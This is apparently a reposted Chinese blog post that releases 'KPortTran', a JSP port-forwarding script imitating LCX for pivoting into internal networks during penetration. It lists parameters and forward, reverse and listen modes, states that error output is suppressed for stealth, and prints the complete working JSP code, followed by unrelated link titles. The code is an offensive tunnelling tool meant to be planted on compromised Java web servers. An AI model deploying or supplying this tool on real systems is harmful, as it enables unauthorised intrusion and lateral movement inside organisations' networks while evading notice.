最近接触内网很多,渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。

在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交~


用法如下 KPortTran Usage:


参数

xxx.com/KPortTran.jsp? lip = local ip / 本地ip //一般为内网主机IP lp = local port / 本地端口 //一般为内网主机端口 rip = remote ip / 远程ip //一般为外网连接者IP,或者内网其他主机 rp = remote port / 远程端口 //一般为外网连接者端口 lp2 = local port2 / 本地端口2 //本地监听转发时的第二个端口 m = mode / 运行模式 //合法的值有:listen tran slave三种


运行模式

m = listen 需要参数:lp、lp2 该模式下,会在本地监听两个端口,相互转发数据 m = tran 需要参数:lip、lp、rip、rp 该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。 m = slave 需要的参数: lip、lp、rip、rp 该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。


注意事项: 某些server上使用时,可能由于编码问题会报错,请根据实际情况,更改代码首行的编码设置。 为了隐蔽,没有设置错误信息返回。如果不能执行,请检查一下参数。

测试截图:

<%@page pageEncoding="GBK"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.net.*"%>
<%
/*code by KingX*/
class KPortTran {public void listen(String port1, String port2) {ServerSocket listenServerSocket = null;ServerSocket outServerSocket = null;try {listenServerSocket = new ServerSocket(Integer.parseInt(port1));outServerSocket = new ServerSocket(Integer.parseInt(port2));} catch (NumberFormatException e) {} catch (IOException e) {}Socket listenSocket = null;Socket outSocket = null;try {while (true) {   listenSocket = listenServerSocket.accept();outSocket = outServerSocket.accept();new tranThread(outSocket, listenSocket).start();new tranThread(listenSocket, outSocket).start();Thread.sleep(200);}} catch (Exception e) {    }}public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {InetAddress src = InetAddress.getByName(srcIP);InetAddress dest = InetAddress.getByName(targetIP);int p1 = Integer.parseInt(port1);int p2 = Integer.parseInt(port2);new Server(src, p2, dest, p1, true);}public void tran(String srcIP, String port1, String targetIP, String port2)throws NumberFormatException, IOException {InetAddress src = InetAddress.getByName(srcIP);InetAddress dest = InetAddress.getByName(targetIP);int p1 = Integer.parseInt(port1);int p2 = Integer.parseInt(port2);new Server(src, p1, dest, p2, false);}
class tranThread extends Thread {Socket in;Socket out;InputStream is;OutputStream os;public tranThread(Socket in, Socket out) throws IOException {this.is = in.getInputStream();this.os = out.getOutputStream();this.in = in;this.out = out;}private void closeSocket() {try {is.close();os.close();in.close();out.close();} catch (IOException e) {}}@Overridepublic void run() {super.run();byte[] buffer = new byte[4096];int len = -1;try {while (true) {if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {break;} else {os.write(buffer, 0, len);os.flush();   }}} catch (IOException e) {closeSocket();} finally {closeSocket();}}
}class Server extends Thread {InetAddress src;InetAddress dest;int p1, p2;boolean reverse = false;public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,int targetPort, boolean flag) {this.src = srcIP;this.dest = targetIP;this.p1 = srcPort;this.p2 = targetPort;this.reverse = flag;start();}@Overridepublic void run() {super.run();if (reverse) {try {Socket s = new Socket(src, p1);Socket s2 = new Socket(dest, p2);new tranThread(s, s2).start();new tranThread(s2, s).start();while (true) {if (s2.isClosed() || s.isClosed()) {if (s2.isClosed()) {s2 = new Socket(dest, p2);}if (s.isClosed()) {s = new Socket(src, p1);}new tranThread(s, s2).start();new tranThread(s2, s).start();}Thread.sleep(1000);}} catch (IOException e) {} catch (InterruptedException e) {}} else {ServerSocket ss;try {ss = new ServerSocket(p1, 5, src);while (true) {Socket s = ss.accept();Socket s2 = new Socket(dest, p2);new tranThread(s, s2).start();new tranThread(s2, s).start();}} catch (IOException e) {e.printStackTrace();}}}
}
}
%>
<%
final String localIP = request.getParameter("lip");
final String localPort = request.getParameter("lp");
final String localPort2 = request.getParameter("lp2");
final String remoteIP =request.getParameter("rip");
final String remotePort =request.getParameter("rp");
final String mode =request.getParameter("m");KPortTran pt = new KPortTran();
if (mode.equals("tran")) {pt.tran(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("slave")) {pt.slave(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("listen")) {pt.listen(localPort, localPort2);
}%>

本文转载至,http://www.2cto.com/Article/201310/254016.html

转载于:https://www.cnblogs.com/rinack/p/3397693.html

JSP版LCX:端口转发神器 KPortTran相关推荐

  1. lcx端口转发工具的使用

    Linux版lcx端口转发工具使用 0x01 前言 在实际情况中,web应用服务通常会被运行在内网机器上,然后通过端口映射到外网,供外网用户进行访问.如果我们已经攻破网站,拿到内网机器权限,通常会安装 ...

  2. linux 端口转发软件,linux端口转发神器Socat一键配置脚本

    一.概述 目前常用的端口转发工具有rinetd.Haproxy.iptables.Socat前面2种只能转发TCP,后面TCP/UDP都可以转发.如果是需要udp转发的话,只能选择iptables.S ...

  3. 【转】实战 SSH 端口转发

    本文转自:http://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/index.html,至于有什么用,懂的懂! 实战 SSH 端口转发 通 ...

  4. 实战 SSH 端口转发

    2019独角兽企业重金招聘Python工程师标准>>> 第一部分 概述 当你在咖啡馆享受免费 WiFi 的时候,有没有想到可能有人正在窃取你的密码及隐私信息?当你发现实验室的防火墙阻 ...

  5. 端口转发lcx工具+nc反弹工具使用

    一.lcx工具 lcx.exe是一个端口转发工具,有Windows版和Linux版两个版本,Windows版是lcx.exe,Linux版为portmap, Windows版使用方法如下: 1. lc ...

  6. 内网端口转发-LCX基本使用

    在渗透测试过程中我们可能会遇到内网开放3389端口只对内网机器开放,但是外网连接不上的情况.怎么办呢?这时候我们可以使用lcx来进行端口映射. 使用方法: 1.本地监听两个端口,第一个为转发端口,第二 ...

  7. 端口转发工具--lcx

    简介 lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口.它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款 ...

  8. 内网端口 转发 穿透 工具简介

    目录 一.LCX 1.lcx 内网端口转发(类似于SSH远程转发-R) 2.本地端口转发(类似于SSH本地转发-L) 二.nc反弹 正向连接 反向连接 三.socks代理工具 (1)Earthworm ...

  9. 端口转发与代理工具 内网代理 内网反弹代理

    目录 一.LCX 二.nc 反弹 三.socks代理工具 四.frp 内网穿透利器 五.ngrok 内网穿透 理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主 ...

  10. 内网入口——代理搭建端口转发

    在内网渗透过程中经常会遇到搭建代理和端口转发的情况,本文记录一些常用工具的使用方法和典型应用场景,便于查阅. 文章目录 代理搭建&端口转发 1.EW 2.Venom 3.Stowaway 4. ...

最新文章

  1. mysql查看正在执行的sql语句
  2. python装饰器函数-python函数装饰器
  3. centos7 ssh 密码拒绝_Centos7的ssh connection refused
  4. windows 10 systeminfo命令查看系统信息
  5. 浅述WinForm多线程编程与Control.Invoke的应用
  6. mysql使用jtable_jtable 的简单使用
  7. php获取变量数据类型,php如何确定变量的数据类型
  8. 判断文件是否存在如果不存在则创建
  9. Laravel Migrate
  10. echarts中的option.legend.data has not been defined.
  11. 3ds max批量修改贴图名称脚本(最新版本)
  12. 冰点还原密码查看工具
  13. wed简介及html简单标签(1)
  14. 分享一个Java和Android学习视频
  15. 大厂职级、薪资一览表,你处在哪一级?(BAT/TMD/华为)
  16. 博文翻译:Tackling the Cold Start Problem in Recommender Systems
  17. JVM进阶(六)——鲜为人知的二次标记
  18. Elasticsearch可视化工具-----cerebro(比head更优秀)
  19. 无线电波的波段、频率和应用
  20. Error while Launching activity

热门文章

  1. 从代码书写理解指针,很重要
  2. 关于东南亚互联网市场的现状,有些问题得搞清楚
  3. 手把手教你免费申请支持通配符的 SSL 证书
  4. 32岁程序员推拿一小时差点丧命!医生说按错这个地方
  5. 令程序员们夜不能寐的“噩梦”除了改需求,还有这些…...
  6. 你若不离不弃,我必拼尽全力!
  7. linux队列运行任务查看,Linux work queue工作队列小结与使用
  8. 洛谷P2473奖励关——状压DP
  9. ios开发之触摸时间处理
  10. 软件2班36人[扑林作]